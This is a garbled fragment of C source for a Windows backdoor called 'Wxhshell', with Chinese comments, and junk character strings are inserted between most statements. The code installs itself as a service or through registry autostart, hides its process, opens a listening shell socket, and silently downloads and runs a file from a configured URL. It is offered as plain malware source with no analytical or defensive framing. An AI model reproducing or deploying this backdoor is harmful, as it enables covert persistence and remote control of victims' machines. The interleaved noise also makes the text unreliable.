SyIi*dH HMODULE hMod; :Jo[bm
char procName[255]; _^`TG]F unsigned long cbNeeded; %!]CP1S F{laA YE if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;n.SRy6 VN]j*$5
CloseHandle(hProcess); o_cAelI[! xmHW,#%ui\ if(strstr(procName,"services")) return 1; // 以服务启动 ,soXX_Y> /@@?0xjX return 0; // 注册表启动 p+16*f9,^ } BQ(sjJ$v6F M4E== // 主模块 ek` 6 Uf int StartWxhshell(LPSTR lpCmdLine) j<}y( ~ { 8?h&FbmB SOCKET wsl; I36ClOG BOOL val=TRUE; q0(-"}2l int port=0; 60r0O5=|Fl struct sockaddr_in door; `Db%:l^e 8" (j_~; if(wscfg.ws_autoins) Install(); [9\Mf4lh# %9_jF" port=atoi(lpCmdLine); n1rJ^q-G U[6
~ad
a if(port<=0) port=wscfg.ws_port; S y^et G4G<Ow)` WSADATA data; L6J.^tpO if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9eEA80i7 I?CfdI if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; !}=#h8fv setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;upYam" door.sin_family = AF_INET; `2n%Lo?_ door.sin_addr.s_addr = inet_addr("127.0.0.1"); !XO"lS door.sin_port = htons(port); ,$"T/yYer @[~j|YH} if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >[4CQK`U closesocket(wsl); 9Rb
tFwbn return 1; 7e6;
|? } 8^hbS%s! ]wEFm;N if(listen(wsl,2) == INVALID_SOCKET) { mg<S7+ closesocket(wsl); P>_ r6C return 1; cCq mrjUmV } As(6E}{S Wxhshell(wsl); G<`6S5J>hr WSACleanup(); 2bxW`.fa 8jz7t:0 return 0; /<CgSW} lLN5***47J } [y(<1]i-a T)MZ`dM // 以NT服务方式启动 ab>>W!r@! VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LNF|mS\+D { {emym$we DWORD status = 0; x,#? DWORD specificError = 0xfffffff; -S
0dr8E z W*Z serviceStatus.dwServiceType = SERVICE_WIN32; \!zM4ppr serviceStatus.dwCurrentState = SERVICE_START_PENDING; ^-%O serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8HL8)G6 serviceStatus.dwWin32ExitCode = 0; tfPe-U serviceStatus.dwServiceSpecificExitCode = 0; `9Q O'^) serviceStatus.dwCheckPoint = 0; BP8jReX^ serviceStatus.dwWaitHint = 0; 3Cg0^~?6- _o{w<b& hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h:4F?'W if (hServiceStatusHandle==0) return; wPr!.:MF 5N$O status = GetLastError(); 4td9=dNA+l if (status!=NO_ERROR) ~U1M-<IX { i(0%cNP7 serviceStatus.dwCurrentState = SERVICE_STOPPED; 7a4h7/ serviceStatus.dwCheckPoint = 0; hh<ryuZ serviceStatus.dwWaitHint = 0; "2hs=^&8 serviceStatus.dwWin32ExitCode = status; 0134mw%jk serviceStatus.dwServiceSpecificExitCode = specificError; &@z
M<A SetServiceStatus(hServiceStatusHandle, &serviceStatus); "/{H=X3was return; (`&E^t } "$ep=h+ 1.z]/cx<y serviceStatus.dwCurrentState = SERVICE_RUNNING; Jf@~/!m}' serviceStatus.dwCheckPoint = 0; Zn]!*} serviceStatus.dwWaitHint = 0; Y#rd'
8 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c<5(c%a } M`,`2I A =o_zsDv // 处理NT服务事件,比如:启动、停止 (gF{S*` VOID WINAPI NTServiceHandler(DWORD fdwControl) }!jn%@_y@ { hd#MV!ti switch(fdwControl) LteZ7e { &'W ~~ir case SERVICE_CONTROL_STOP: oZw #]Q@ serviceStatus.dwWin32ExitCode = 0; >"pHk@AW K serviceStatus.dwCurrentState = SERVICE_STOPPED; e{}vT$- serviceStatus.dwCheckPoint = 0; P@8S|#LpZ serviceStatus.dwWaitHint = 0; )KUEkslR: { 6kdcFcV-] SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7loIjT7 } m&+V@H return; DB.)/(zWQ case SERVICE_CONTROL_PAUSE: ~iU@ns|g\ serviceStatus.dwCurrentState = SERVICE_PAUSED; M+Eg{^ q` break; p~h[4hP case SERVICE_CONTROL_CONTINUE: dWVm'd
serviceStatus.dwCurrentState = SERVICE_RUNNING; -H"^;37T" break; ^2"3h$DJfS case SERVICE_CONTROL_INTERROGATE: "]x#kM break; . 12H/F }; diD[/&k#kh SetServiceStatus(hServiceStatusHandle, &serviceStatus); @hOT<
Uo } mxmj 52' 0l> // 标准应用程序主函数 g!!:o(k int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U&u~i
3 { :KBy(}V (dAE // 获取操作系统版本 c>L#(D\\ OsIsNt=GetOsVer(); ^d!I{ y# GetModuleFileName(NULL,ExeFile,MAX_PATH); #oxP,LR "eR-(c1 // 从命令行安装 !t|2&R$IQ if(strpbrk(lpCmdLine,"iI")) Install(); MbyV_A`r_ zC>zkFT>H // 下载执行文件 m" c6^)U if(wscfg.ws_downexe) { ,*g.?q@W2 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O*m9qF< WinExec(wscfg.ws_filenam,SW_HIDE); dS;Ui]/J } \>c1Z5H> TS@U0Ror if(!OsIsNt) { iKA qM{( // 如果时win9x,隐藏进程并且设置为注册表启动 FUs57
V HideProc(); -[xbGSj{ StartWxhshell(lpCmdLine); h?-M+Ac } &?3P5dy_ else }Ih5`$ if(StartFromService()) RwDXOdgu // 以服务方式启动 MsjC4(Xla. StartServiceCtrlDispatcher(DispatchTable); l` ?4O else A\QrawBp0l // 普通方式启动 =$WDB=i StartWxhshell(lpCmdLine); 7x)32f" * a@78&N return 0; G u#wH }
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